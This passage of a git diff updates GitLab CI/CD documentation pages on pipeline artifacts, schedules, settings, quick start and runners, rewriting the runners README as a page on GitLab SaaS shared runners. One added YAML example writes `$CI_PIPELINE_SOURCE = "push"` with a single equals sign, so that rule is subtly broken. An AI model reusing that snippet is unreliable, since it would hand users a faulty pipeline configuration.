Pipeline artifacts are files created by GitLab after a pipeline finishes. These are different than [job artifacts](job_artifacts.md) because they are not explicitly managed by the `.gitlab-ci.yml` definitions.
@@ -17,5 +17,10 @@ Pipeline artifacts are saved to disk or object storage. They count towards a pro
## When pipeline artifacts are deleted
-See the [`expire_in`](../yaml/README.md#artifactsexpire_in) documentation for information on when
-pipeline artifacts are deleted.
+Pipeline artifacts are deleted either:
+
+- Seven days after creation.
+- After another pipeline runs successfully, if they are from the most recent successful
+ pipeline.
+
+This deletion may take up to two days.
diff --git a/doc/ci/pipelines/pipeline_efficiency.md b/doc/ci/pipelines/pipeline_efficiency.md
index 2deb3b27748..5bb435dddf6 100644
--- a/doc/ci/pipelines/pipeline_efficiency.md
+++ b/doc/ci/pipelines/pipeline_efficiency.md
@@ -1,11 +1,11 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Execution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
-# Pipeline Efficiency
+# Pipeline efficiency **(FREE)**
[CI/CD Pipelines](index.md) are the fundamental building blocks for [GitLab CI/CD](../README.md).
Making pipelines more efficient helps you save developer time, which:
diff --git a/doc/ci/pipelines/schedules.md b/doc/ci/pipelines/schedules.md
index fb8de034d2a..c6a40039816 100644
--- a/doc/ci/pipelines/schedules.md
+++ b/doc/ci/pipelines/schedules.md
@@ -1,6 +1,6 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Execution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
disqus_identifier: 'https://docs.gitlab.com/ee/user/project/pipelines/schedules.html'
type: reference, howto
@@ -8,9 +8,6 @@ type: reference, howto
# Pipeline schedules **(FREE)**
-> - Introduced in GitLab 9.1 as [Trigger Schedule](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/10533).
-> - [Renamed to Pipeline Schedule](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/10853) in GitLab 9.2.
-
Pipelines are normally run based on certain conditions being met. For example, when a branch is pushed to repository.
Pipeline schedules can be used to also run [pipelines](index.md) at specific intervals. For example:
@@ -54,31 +51,29 @@ is installed on.
### Using variables
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/12328) in GitLab 9.4.
-
You can pass any number of arbitrary variables. They are available in
GitLab CI/CD so that they can be used in your [`.gitlab-ci.yml` file](../../ci/yaml/README.md).
![Scheduled pipeline variables](img/pipeline_schedule_variables.png)
-### Using only and except
+### Using `rules`
To configure a job to be executed only when the pipeline has been
-scheduled (or the opposite), use
-[only and except](../yaml/README.md#only--except) configuration keywords.
+scheduled, use the [`rules`](../yaml/README.md#rules) keyword.
-In the example below `make world` runs in scheduled pipelines, and `make build` runs in pipelines that are not scheduled:
+In this example, `make world` runs in scheduled pipelines, and `make build`
+runs in branch and tag pipelines:
```yaml
job:on-schedule:
- only:
- - schedules
+ rules:
+ - if: $CI_PIPELINE_SOURCE == "schedule"
script:
- make world
job:
- except:
- - schedules
+ rules:
+ - if: $CI_PIPELINE_SOURCE = "push"
script:
- make build
```
diff --git a/doc/ci/pipelines/settings.md b/doc/ci/pipelines/settings.md
index 31e42a2cb68..2e842856e55 100644
--- a/doc/ci/pipelines/settings.md
+++ b/doc/ci/pipelines/settings.md
@@ -1,6 +1,6 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Execution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
disqus_identifier: 'https://docs.gitlab.com/ee/user/project/pipelines/settings.html'
type: reference, howto
@@ -35,7 +35,7 @@ There are two options. Using:
back to clone if it doesn't exist).
This is recommended, especially for [large repositories](../large_repositories/index.md#git-strategy).
-The configured Git strategy can be overridden by the [`GIT_STRATEGY` variable](../runners/README.md#git-strategy)
+The configured Git strategy can be overridden by the [`GIT_STRATEGY` variable](../runners/configure_runners.md#git-strategy)
in `.gitlab-ci.yml`.
## Git shallow clone
@@ -66,14 +66,14 @@ if the job surpasses the threshold, it is marked as failed.
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17221) in GitLab 10.7.
Project defined timeout (either specific timeout set by user or the default
-60 minutes timeout) may be [overridden for runners](../runners/README.md#set-maximum-job-timeout-for-a-runner).
+60 minutes timeout) may be [overridden for runners](../runners/configure_runners.md#set-maximum-job-timeout-for-a-runner).
## Maximum artifacts size **(FREE SELF)**
For information about setting a maximum artifact size for a project, see
[Maximum artifacts size](../../user/admin_area/settings/continuous_integration.md#maximum-artifacts-size).
-## Custom CI/CD configuration path
+## Custom CI/CD configuration file
> [Support for external `.gitlab-ci.yml` locations](https://gitlab.com/gitlab-org/gitlab/-/issues/14376) introduced in GitLab 12.6.
@@ -87,7 +87,7 @@ To customize the path:
1. Provide a value in the **CI/CD configuration file** field.
1. Click **Save changes**.
-If the CI configuration is stored in the repository in a non-default
+If the CI/CD configuration file is stored in the repository in a non-default
location, the path must be relative to the root directory. Examples of valid
paths and file names include:
@@ -96,11 +96,11 @@ paths and file names include:
- `my/path/.gitlab-ci.yml`
- `my/path/.my-custom-file.yml`
-If hosting the CI configuration on an external site, the URL link must end with `.yml`:
+If hosting the CI/CD configuration file on an external site, the URL link must end with `.yml`:
- `http://example.com/generate/ci/config.yml`
-If hosting the CI configuration in a different project in GitLab, the path must be relative
+If hosting the CI/CD configuration file in a different project in GitLab, the path must be relative
to the root directory in the other project. Include the group and project name at the end:
- `.gitlab-ci.yml@mygroup/another-project`
@@ -149,7 +149,7 @@ averaged.
- JaCoCo (Java/Kotlin). Example: `Total.*?([0-9]{1,3})%`.
- `go test -cover` (Go). Example: `coverage: \d+.\d+% of statements`.
- .Net (OpenCover). Example: `(Visited Points).*\((.*)\)`.
-- .Net (`dotnet test` line coverage). Example: `Total\s*\|\s*(\d+\.?\d+)`.
+- .Net (`dotnet test` line coverage). Example: `Total\s*\|\s*(\d+(?:\.\d+)?)`.
<!-- vale gitlab.Spelling = YES -->
@@ -318,7 +318,7 @@ Markdown code embeds the test coverage report badge of the `coverage` job
into your `README.md`:
```markdown
-![coverage](https://gitlab.com/gitlab-org/gitlab/badges/master/coverage.svg?job=coverage)
+![coverage](https://gitlab.com/gitlab-org/gitlab/badges/main/coverage.svg?job=coverage)
```
### Badge styles
@@ -331,7 +331,7 @@ Pipeline badges can be rendered in different styles by adding the `style=style_n
https://gitlab.example.com/<namespace>/<project>/badges/<branch>/coverage.svg?style=flat
```
- ![Badge flat style](https://gitlab.com/gitlab-org/gitlab/badges/master/coverage.svg?job=coverage&style=flat)
+ ![Badge flat style](https://gitlab.com/gitlab-org/gitlab/badges/main/coverage.svg?job=coverage&style=flat)
- Flat square ([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/30120) in GitLab 11.8):
@@ -339,7 +339,7 @@ Pipeline badges can be rendered in different styles by adding the `style=style_n
https://gitlab.example.com/<namespace>/<project>/badges/<branch>/coverage.svg?style=flat-square
```
- ![Badge flat square style](https://gitlab.com/gitlab-org/gitlab/badges/master/coverage.svg?job=coverage&style=flat-square)
+ ![Badge flat square style](https://gitlab.com/gitlab-org/gitlab/badges/main/coverage.svg?job=coverage&style=flat-square)
### Custom badge text
@@ -348,10 +348,10 @@ Pipeline badges can be rendered in different styles by adding the `style=style_n
The text for a badge can be customized to differentiate between multiple coverage jobs that run in the same pipeline. Customize the badge text and width by adding the `key_text=custom_text` and `key_width=custom_key_width` parameters to the URL:
```plaintext
-https://gitlab.com/gitlab-org/gitlab/badges/master/coverage.svg?job=karma&key_text=Frontend+Coverage&key_width=130
+https://gitlab.com/gitlab-org/gitlab/badges/main/coverage.svg?job=karma&key_text=Frontend+Coverage&key_width=130
```
-![Badge with custom text and width](https://gitlab.com/gitlab-org/gitlab/badges/master/coverage.svg?job=karma&key_text=Frontend+Coverage&key_width=130)
+![Badge with custom text and width](https://gitlab.com/gitlab-org/gitlab/badges/main/coverage.svg?job=karma&key_text=Frontend+Coverage&key_width=130)
<!-- ## Troubleshooting
diff --git a/doc/ci/quick_start/README.md b/doc/ci/quick_start/README.md
index c94d6e3ea80..577a80407d7 100644
--- a/doc/ci/quick_start/README.md
+++ b/doc/ci/quick_start/README.md
@@ -1,5 +1,6 @@
---
redirect_to: 'index.md'
+remove_date: '2021-05-01'
---
This document was moved to [another location](index.md).
diff --git a/doc/ci/quick_start/index.md b/doc/ci/quick_start/index.md
index d20a0f0d4a1..225794aec17 100644
--- a/doc/ci/quick_start/index.md
+++ b/doc/ci/quick_start/index.md
@@ -1,6 +1,6 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Execution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -13,13 +13,16 @@ GitLab [continuous integration](https://about.gitlab.com/stages-devops-lifecycle
Before you start, make sure you have:
- A project in GitLab that you would like to use CI/CD for.
-- Maintainer or owner access for the project.
+- The [Maintainer or Owner role](../../user/permissions.md) for the project.
If you are migrating from another CI/CD tool, view this documentation:
- [Migrate from CircleCI](../migration/circleci.md).
- [Migrate from Jenkins](../migration/jenkins.md).
+> - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i>&nbsp;Watch [First time GitLab & CI/CD](https://www.youtube.com/watch?v=kTNfi5z6Uvk&t=553s). This includes a quick introduction to GitLab, the first steps with CI/CD, building a Go project, running tests, using the CI/CD pipeline editor, detecting secrets and security vulnerabilities and offers more exercises for async practice.
+> - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i>&nbsp;Watch [Intro to GitLab CI](https://www.youtube.com/watch?v=l5705U8s_nQ&t=358s). This workshop uses the Web IDE to quickly get going with building source code using CI/CD, and run unit tests.
+
## CI/CD process overview
To use GitLab CI/CD:
@@ -38,7 +41,7 @@ The job results [are displayed in a pipeline](#view-the-status-of-your-pipeline-
In GitLab, runners are agents that run your CI/CD jobs.
You might already have runners available for your project, including
-[shared runners](../runners/README.md#shared-runners), which are
+[shared runners](../runners/runners_scope.md), which are
available to all projects in your GitLab instance.
To view available runners:
@@ -73,7 +76,7 @@ All of this is defined in the `.gitlab-ci.yml` file.
To create a `.gitlab-ci.yml` file:
-1. Go to **Project overview > Details**.
+1. On the left sidebar, select **Project information > Details**.
1. Above the file list, select the branch you want to commit to,
click the plus icon, then select **New file**:
@@ -147,7 +150,7 @@ When you committed your changes, a pipeline started.
To view your pipeline:
-- Go **CI/CD > Pipelines**.
+- Go to **CI/CD > Pipelines**.
A pipeline with three stages should be displayed:
@@ -162,3 +165,8 @@ To view your pipeline:
![Job details](img/job_details_v13_6.png)
If the job status is `stuck`, check to ensure a runner is properly configured for the project.
+
+> To learn more about GitLab CI/CD, check out these video walkthroughs:
+>
+> - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i>&nbsp;Watch [First time GitLab & CI/CD](https://www.youtube.com/watch?v=kTNfi5z6Uvk&t=150s).
+> - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i>&nbsp;Watch [Intro to GitLab CI](https://www.youtube.com/watch?v=l5705U8s_nQ&t=358s).
diff --git a/doc/ci/review_apps/index.md b/doc/ci/review_apps/index.md
index 122f9caebe7..a64efd50f6f 100644
--- a/doc/ci/review_apps/index.md
+++ b/doc/ci/review_apps/index.md
@@ -77,7 +77,7 @@ the **Enable Review Apps** button and GitLab prompts you with a template code bl
you can copy and paste into `.gitlab-ci.yml` as a starting point. To do so:
1. Go to the project your want to create a Review App job for.
-1. From the left nav, go to **Operations** > **Environments**.
+1. From the left nav, go to **Deployments > Environments**.
1. Click on the **Enable Review Apps** button. It is available to you
if you have Developer or higher [permissions](../../user/permissions.md) to that project.
1. Copy the provided code snippet and paste it into your
diff --git a/doc/ci/runners/README.md b/doc/ci/runners/README.md
index d09daea9a75..b493da993ca 100644
--- a/doc/ci/runners/README.md
+++ b/doc/ci/runners/README.md
@@ -5,844 +5,285 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: reference
---
-# Configuring runners in GitLab
+# GitLab SaaS runners
-In GitLab CI/CD, runners run the code defined in [`.gitlab-ci.yml`](../yaml/README.md).
-A runner is a lightweight, highly-scalable agent that picks up a CI job through
-the coordinator API of GitLab CI/CD, runs the job, and sends the result back to the GitLab instance.
+If you are using self-managed GitLab or you want to use your own runners on GitLab.com, you can
+[install and configure your own runners](https://docs.gitlab.com/runner/install/).
-Runners are created by an administrator and are visible in the GitLab UI.
-Runners can be specific to certain projects or available to all projects.
+If you are using GitLab SaaS (GitLab.com), your CI jobs automatically run on shared runners. No configuration is required.
+Your jobs can run on [Linux](#linux-shared-runners) or [Windows](#windows-shared-runners-beta).
-This documentation is focused on using runners in GitLab.
-If you need to install and configure GitLab Runner, see
-[the GitLab Runner documentation](https://docs.gitlab.com/runner/).
+The number of minutes you can use on these shared runners depends on your
+[quota](../../user/admin_area/settings/continuous_integration.md#shared-runners-pipeline-minutes-quota),
+which depends on your [subscription plan](../../subscriptions/gitlab_com/index.md#ci-pipeline-minutes).
-## Types of runners
+## Linux shared runners
-In the GitLab UI there are three types of runners, based on who you want to have access:
+Linux shared runners on GitLab.com run in autoscale mode and are powered by Google Cloud Platform.
-- [Shared runners](#shared-runners) are available to all groups and projects in a GitLab instance.
-- [Group runners](#group-runners) are available to all projects and subgroups in a group.
-- [Specific runners](#specific-runners) are associated with specific projects.
- Typically, specific runners are used for one project at a time.
+Autoscaling means reduced queue times to spin up CI/CD jobs, and isolated VMs for each project, thus maximizing security. These shared runners are available for users and customers on GitLab.com.
-### Shared runners
+GitLab offers Ultimate tier capabilities and included CI/CD minutes per group per month for our [Open Source](https://about.gitlab.com/solutions/open-source/join/), [Education](https://about.gitlab.com/solutions/education/), and [Startups](https://about.gitlab.com/solutions/startups/) programs. For private projects, GitLab offers various [plans](https://about.gitlab.com/pricing/), starting with a Free tier.
-*Shared runners* are available to every project in a GitLab instance.
+All your CI/CD jobs run on [n1-standard-1 instances](https://cloud.google.com/compute/docs/machine-types) with 3.75GB of RAM, CoreOS and the latest Docker Engine
+installed. Instances provide 1 vCPU and 25GB of HDD disk space. The default
+region of the VMs is US East1.
+Each instance is used only for one job, this ensures any sensitive data left on the system can't be accessed by other people their CI jobs.
-Use shared runners when you have multiple jobs with similar requirements. Rather than
-having multiple runners idling for many projects, you can have a few runners that handle
-multiple projects.
+The `gitlab-shared-runners-manager-X.gitlab.com` fleet of runners are dedicated for GitLab projects as well as community forks of them. They use a slightly larger machine type (n1-standard-2) and have a bigger SSD disk size. They don't run untagged jobs and unlike the general fleet of shared runners, the instances are re-used up to 40 times.
-If you are using a self-managed instance of GitLab:
+Jobs handled by the shared runners on GitLab.com (`shared-runners-manager-X.gitlab.com`),
+**time out after 3 hours**, regardless of the timeout configured in a
+project. Check the issues [4010](https://gitlab.com/gitlab-com/infrastructure/-/issues/4010) and [4070](https://gitlab.com/gitlab-com/infrastructure/-/issues/4070) for the reference.
-- Your administrator can install and register shared runners by
- going to your project's **Settings > CI/CD**, expanding the **Runners** section,
- and clicking **Show runner installation instructions**.
- These instructions are also available [in the documentation](https://docs.gitlab.com/runner/install/index.html).
-- The administrator can also configure a maximum number of shared runner [pipeline minutes for
- each group](../../user/admin_area/settings/continuous_integration.md#shared-runners-pipeline-minutes-quota).
+Below are the shared runners settings.
-If you are using GitLab.com:
+| Setting | GitLab.com | Default |
+| ----------- | ----------------- | ---------- |
+| [GitLab Runner](https://gitlab.com/gitlab-org/gitlab-runner) | [Runner versions dashboard](https://dashboards.gitlab.com/d/000000159/ci?from=now-1h&to=now&refresh=5m&orgId=1&panelId=12&fullscreen&theme=light) | - |
+| Executor | `docker+machine` | - |
+| Default Docker image | `ruby:2.5` | - |
+| `privileged` (run [Docker in Docker](https://hub.docker.com/_/docker/)) | `true` | `false` |
-- You can select from a list of [shared runners that GitLab maintains](../../user/gitlab_com/index.md#shared-runners).
-- The shared runners consume the [pipelines minutes](../../subscriptions/gitlab_com/index.md#ci-pipeline-minutes)
- included with your account.
+### Pre-clone script
-#### How shared runners pick jobs
+Linux shared runners on GitLab.com provide a way to run commands in a CI
+job before the runner attempts to run `git init` and `git fetch` to
+download a GitLab repository. The
+[`pre_clone_script`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-section)
+can be used for:
-Shared runners process jobs by using a fair usage queue. This queue prevents
-projects from creating hundreds of jobs and using all available
-shared runner resources.
+- Seeding the build directory with repository data
+- Sending a request to a server
+- Downloading assets from a CDN
+- Any other commands that must run before the `git init`
-The fair usage queue algorithm assigns jobs based on the projects that have the
-fewest number of jobs already running on shared runners.
+To use this feature, define a [CI/CD variable](../../ci/variables/README.md#custom-cicd-variables) called
+`CI_PRE_CLONE_SCRIPT` that contains a bash script.
-**Example 1**
+[This example](../../development/pipelines.md#pre-clone-step)
+demonstrates how you might use a pre-clone step to seed the build
+directory.
-If these jobs are in the queue:
+### `config.toml`
-- Job 1 for Project 1
-- Job 2 for Project 1
-- Job 3 for Project 1
-- Job 4 for Project 2
-- Job 5 for Project 2
-- Job 6 for Project 3
-
-The fair usage algorithm assigns jobs in this order:
-
-1. Job 1 is chosen first, because it has the lowest job number from projects with no running jobs (that is, all projects).
-1. Job 4 is next, because 4 is now the lowest job number from projects with no running jobs (Project 1 has a job running).
-1. Job 6 is next, because 6 is now the lowest job number from projects with no running jobs (Projects 1 and 2 have jobs running).
-1. Job 2 is next, because, of projects with the lowest number of jobs running (each has 1), it is the lowest job number.
-1. Job 5 is next, because Project 1 now has 2 jobs running and Job 5 is the lowest remaining job number between Projects 2 and 3.
-1. Finally is Job 3... because it's the only job left.
-
----
-
-**Example 2**
-
-If these jobs are in the queue:
-
-- Job 1 for Project 1
-- Job 2 for Project 1
-- Job 3 for Project 1
-- Job 4 for Project 2
-- Job 5 for Project 2
-- Job 6 for Project 3
-
-The fair usage algorithm assigns jobs in this order:
-
-1. Job 1 is chosen first, because it has the lowest job number from projects with no running jobs (that is, all projects).
-1. We finish Job 1.
-1. Job 2 is next, because, having finished Job 1, all projects have 0 jobs running again, and 2 is the lowest available job number.
-1. Job 4 is next, because with Project 1 running a Job, 4 is the lowest number from projects running no jobs (Projects 2 and 3).
-1. We finish Job 4.
-1. Job 5 is next, because having finished Job 4, Project 2 has no jobs running again.
-1. Job 6 is next, because Project 3 is the only project left with no running jobs.
-1. Lastly we choose Job 3... because, again, it's the only job left.
-
-#### Enable shared runners
-
-On GitLab.com, [shared runners](#shared-runners) are enabled in all projects by
-default.
-
-On self-managed instances of GitLab, an administrator must [install](https://docs.gitlab.com/runner/install/index.html)
-and [register](https://docs.gitlab.com/runner/register/index.html) them.
-
-You can also enable shared runners for individual projects.
-
-To enable shared runners:
-
-1. Go to the project's **Settings > CI/CD** and expand the **Runners** section.
-1. Select **Enable shared runners for this project**.
-
-#### Disable shared runners
-
-You can disable shared runners for individual projects or for groups.
-You must have Owner permissions for the project or group.
-
-To disable shared runners for a project:
-
-1. Go to the project's **Settings > CI/CD** and expand the **Runners** section.
-1. In the **Shared runners** area, select **Enable shared runners for this project** so the toggle is grayed-out.
-
-Shared runners are automatically disabled for a project:
-
-- If the shared runners setting for the parent group is disabled, and
-- If overriding this setting is not permitted at the project level.
-
-To disable shared runners for a group:
-
-1. Go to the group's **Settings > CI/CD** and expand the **Runners** section.
-1. In the **Shared runners** area, turn off the **Enable shared runners for this group** toggle.
-1. Optionally, to allow shared runners to be enabled for individual projects or subgroups,
- click **Allow projects and subgroups to override the group setting**.
-
-NOTE:
-To re-enable the shared runners for a group, turn on the
-**Enable shared runners for this group** toggle.
-Then, an owner or maintainer must explicitly change this setting
-for each project subgroup or project.
-
-### Group runners
-
-Use *Group runners* when you want all projects in a group
-to have access to a set of runners.
-
-Group runners process jobs by using a first in, first out ([FIFO](https://en.wikipedia.org/wiki/FIFO_(computing_and_electronics))) queue.
-
-#### Create a group runner
-
-You can create a group runner for your self-managed GitLab instance or for GitLab.com.
-You must have [Owner permissions](../../user/permissions.md#group-members-permissions) for the group.
-
-To create a group runner:
-
-1. [Install GitLab Runner](https://docs.gitlab.com/runner/install/).
-1. Go to the group you want to make the runner work for.
-1. Go to **Settings > CI/CD** and expand the **Runners** section.
-1. Note the URL and token.
-1. [Register the runner](https://docs.gitlab.com/runner/register/).
-
-#### View and manage group runners
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/37366/) in GitLab 13.2.
-
-You can view and manage all runners for a group, its subgroups, and projects.
-You can do this for your self-managed GitLab instance or for GitLab.com.
-You must have [Owner permissions](../../user/permissions.md#group-members-permissions) for the group.
-
-1. Go to the group where you want to view the runners.
-1. Go to **Settings > CI/CD** and expand the **Runners** section.
-1. The following fields are displayed.
-
- | Attribute | Description |
- | ------------ | ----------- |
- | Type | One or more of the following states: shared, group, specific, locked, or paused |
- | Runner token | Token used to identify the runner, and that the runner uses to communicate with the GitLab instance |
- | Description | Description given to the runner when it was created |
- | Version | GitLab Runner version |
- | IP address | IP address of the host on which the runner is registered |
- | Projects | The count of projects to which the runner is assigned |
- | Jobs | Total of jobs run by the runner |
- | Tags | Tags associated with the runner |
- | Last contact | Timestamp indicating when the GitLab instance last contacted the runner |
-
-From this page, you can edit, pause, and remove runners from the group, its subgroups, and projects.
-
-#### Pause or remove a group runner
-
-You can pause or remove a group runner for your self-managed GitLab instance or for GitLab.com.
-You must have [Owner permissions](../../user/permissions.md#group-members-permissions) for the group.
-
-1. Go to the group you want to remove or pause the runner for.
-1. Go to **Settings > CI/CD** and expand the **Runners** section.
-1. Click **Pause** or **Remove runner**.
- - If you pause a group runner that is used by multiple projects, the runner pauses for all projects.
- - From the group view, you cannot remove a runner that is assigned to more than one project.
- You must remove it from each project first.
-1. On the confirmation dialog, click **OK**.
-
-### Specific runners
-
-Use *Specific runners* when you want to use runners for specific projects. For example,
-when you have:
-
-- Jobs with specific requirements, like a deploy job that requires credentials.
-- Projects with a lot of CI activity that can benefit from being separate from other runners.
-
-You can set up a specific runner to be used by multiple projects. Specific runners
-must be enabled for each project explicitly.
-
-Specific runners process jobs by using a first in, first out ([FIFO](https://en.wikipedia.org/wiki/FIFO_(computing_and_electronics))) queue.
-
-NOTE:
-Specific runners do not get shared with forked projects automatically.
-A fork *does* copy the CI/CD settings of the cloned repository.
-
-#### Create a specific runner
-
-You can create a specific runner for your self-managed GitLab instance or for GitLab.com.
-You must have [Owner permissions](../../user/permissions.md#project-members-permissions) for the project.
-
-To create a specific runner:
-
-1. [Install runner](https://docs.gitlab.com/runner/install/).
-1. Go to the project's **Settings > CI/CD** and expand the **Runners** section.
-1. Note the URL and token.
-1. [Register the runner](https://docs.gitlab.com/runner/register/).
-
-#### Enable a specific runner for a specific project
-
-A specific runner is available in the project it was created for. An administrator can
-enable a specific runner to apply to additional projects.
-
-- You must have Owner permissions for the project.
-- The specific runner must not be [locked](#prevent-a-specific-runner-from-being-enabled-for-other-projects).
-
-To enable or disable a specific runner for a project:
-
-1. Go to the project's **Settings > CI/CD** and expand the **Runners** section.
-1. Click **Enable for this project** or **Disable for this project**.
-
-#### Prevent a specific runner from being enabled for other projects
-
-You can configure a specific runner so it is "locked" and cannot be enabled for other projects.
-This setting can be enabled when you first [register a runner](https://docs.gitlab.com/runner/register/),
-but can also be changed later.
-
-To lock or unlock a runner:
-
-1. Go to the project's **Settings > CI/CD** and expand the **Runners** section.
-1. Find the runner you want to lock or unlock. Make sure it's enabled.
-1. Click the pencil button.
-1. Check the **Lock to current projects** option.
-1. Click **Save changes**.
-
-## Manually clear the runner cache
-
-Read [clearing the cache](../caching/index.md#clearing-the-cache).
-
-## Set maximum job timeout for a runner
-
-For each runner, you can specify a *maximum job timeout*. This timeout,
-if smaller than the [project defined timeout](../pipelines/settings.md#timeout), takes precedence.
-
-This feature can be used to prevent your shared runner from being overwhelmed
-by a project that has jobs with a long timeout (for example, one week).
-
-When not configured, runners do not override the project timeout.
-
-On GitLab.com, you cannot override the job timeout for shared runners and must use the [project defined timeout](../pipelines/settings.md#timeout).
-
-To set the maximum job timeout:
-
-1. In a project, go to **Settings > CI/CD > Runners**.
-1. Select your specific runner to edit the settings.
-1. Enter a value under **Maximum job timeout**.
-1. Select **Save changes**.
-
-How this feature works:
-
-**Example 1 - Runner timeout bigger than project timeout**
-
-1. You set the _maximum job timeout_ for a runner to 24 hours
-1. You set the _CI/CD Timeout_ for a project to **2 hours**
-1. You start a job
-1. The job, if running longer, times out after **2 hours**
-
-**Example 2 - Runner timeout not configured**
-
-1. You remove the _maximum job timeout_ configuration from a runner
-1. You set the _CI/CD Timeout_ for a project to **2 hours**
-1. You start a job
-1. The job, if running longer, times out after **2 hours**
-
-**Example 3 - Runner timeout smaller than project timeout**
-
-1. You set the _maximum job timeout_ for a runner to **30 minutes**
-1. You set the _CI/CD Timeout_ for a project to 2 hours
-1. You start a job
-1. The job, if running longer, times out after **30 minutes**
-
-## Be careful with sensitive information
-
-With some [runner executors](https://docs.gitlab.com/runner/executors/README.html),
-if you can run a job on the runner, you can get full access to the file system,
-and thus any code it runs as well as the token of the runner. With shared runners, this means that anyone
-that runs jobs on the runner, can access anyone else's code that runs on the
-runner.
-
-In addition, because you can get access to the runner token, it is possible
-to create a clone of a runner and submit false jobs, for example.
-
-The above is easily avoided by restricting the usage of shared runners
-on large public GitLab instances, controlling access to your GitLab instance,
-and using more secure [runner executors](https://docs.gitlab.com/runner/executors/README.html).
-
-### Prevent runners from revealing sensitive information
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13194) in GitLab 10.0.
-
-You can protect runners so they don't reveal sensitive information.
-When a runner is protected, the runner picks jobs created on
-[protected branches](../../user/project/protected_branches.md) or [protected tags](../../user/project/protected_tags.md) only,
-and ignores other jobs.
-
-To protect or unprotect a runner:
-
-1. Go to the project's **Settings > CI/CD** and expand the **Runners** section.
-1. Find the runner you want to protect or unprotect. Make sure it's enabled.
-1. Click the pencil button.
-1. Check the **Protected** option.
-1. Click **Save changes**.
-
-![specific runners edit icon](img/protected_runners_check_box.png)
-
-### Forks
-
-Whenever a project is forked, it copies the settings of the jobs that relate
-to it. This means that if you have shared runners set up for a project and
-someone forks that project, the shared runners serve jobs of this project.
-
-### Attack vectors in runners
-
-Mentioned briefly earlier, but the following things of runners can be exploited.
-We're always looking for contributions that can mitigate these
-[Security Considerations](https://docs.gitlab.com/runner/security/).
-
-### Reset the runner registration token for a project
-
-If you think that a registration token for a project was revealed, you should
-reset it. A token can be used to register another runner for the project. That new runner
-may then be used to obtain the values of secret variables or to clone project code.
-
-To reset the token:
-
-1. Go to the project's **Settings > CI/CD**.
-1. Expand the **General pipelines settings** section.
-1. Find the **Runner token** form field and click the **Reveal value** button.
-1. Delete the value and save the form.
-1. After the page is refreshed, expand the **Runners settings** section
- and check the registration token - it should be changed.
-
-From now on the old token is no longer valid and does not register
-any new runners to the project. If you are using any tools to provision and
-register new runners, the tokens used in those tools should be updated to reflect the
-value of the new token.
-
-## Determine the IP address of a runner
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17286) in GitLab 10.6.
-
-It may be useful to know the IP address of a runner so you can troubleshoot
-issues with that runner. GitLab stores and displays the IP address by viewing
-the source of the HTTP requests it makes to GitLab when polling for jobs. The
-IP address is always kept up to date so if the runner IP changes it
-automatically updates in GitLab.
-
-The IP address for shared runners and specific runners can be found in
-different places.
-
-### Determine the IP address of a shared runner
-
-To view the IP address of a shared runner you must have admin access to
-the GitLab instance. To determine this:
-
-1. Visit **Admin Area > Overview > Runners**.
-1. Look for the runner in the table and you should see a column for **IP Address**.
-
-![shared runner IP address](img/shared_runner_ip_address.png)
-
-### Determine the IP address of a specific runner
-
-To can find the IP address of a runner for a specific project,
-you must have Owner [permissions](../../user/permissions.md#project-members-permissions) for the project.
-
-1. Go to the project's **Settings > CI/CD** and expand the **Runners** section.
-1. On the details page you should see a row for **IP Address**.
-
-![specific runner IP address](img/specific_runner_ip_address.png)
-
-## Use tags to limit the number of jobs using the runner
-
-You must set up a runner to be able to run all the different types of jobs
-that it may encounter on the projects it's shared over. This would be
-problematic for large amounts of projects, if it weren't for tags.
-
-GitLab CI tags are not the same as Git tags. GitLab CI tags are associated with runners.
-Git tags are associated with commits.
-
-By tagging a runner for the types of jobs it can handle, you can make sure
-shared runners will [only run the jobs they are equipped to run](../yaml/README.md#tags).
-
-For instance, at GitLab we have runners tagged with `rails` if they contain
-the appropriate dependencies to run Rails test suites.
-
-When you [register a runner](https://docs.gitlab.com/runner/register/), its default behavior is to **only pick**
-[tagged jobs](../yaml/README.md#tags).
-To change this, you must have Owner [permissions](../../user/permissions.md#project-members-permissions) for the project.
-
-To make a runner pick untagged jobs:
-
-1. Go to the project's **Settings > CI/CD** and expand the **Runners** section.
-1. Find the runner you want to pick untagged jobs and make sure it's enabled.
-1. Click the pencil button.
-1. Check the **Run untagged jobs** option.
-1. Click the **Save changes** button for the changes to take effect.
+The full contents of our `config.toml` are:
NOTE:
-The runner tags list can not be empty when it's not allowed to pick untagged jobs.
-
-Below are some example scenarios of different variations.
-
-### runner runs only tagged jobs
-
-The following examples illustrate the potential impact of the runner being set
-to run only tagged jobs.
-
-Example 1:
-
-1. The runner is configured to run only tagged jobs and has the `docker` tag.
-1. A job that has a `hello` tag is executed and stuck.
-
-Example 2:
-
-1. The runner is configured to run only tagged jobs and has the `docker` tag.
-1. A job that has a `docker` tag is executed and run.
-
-Example 3:
-
-1. The runner is configured to run only tagged jobs and has the `docker` tag.
-1. A job that has no tags defined is executed and stuck.
-
-### runner is allowed to run untagged jobs
-
-The following examples illustrate the potential impact of the runner being set
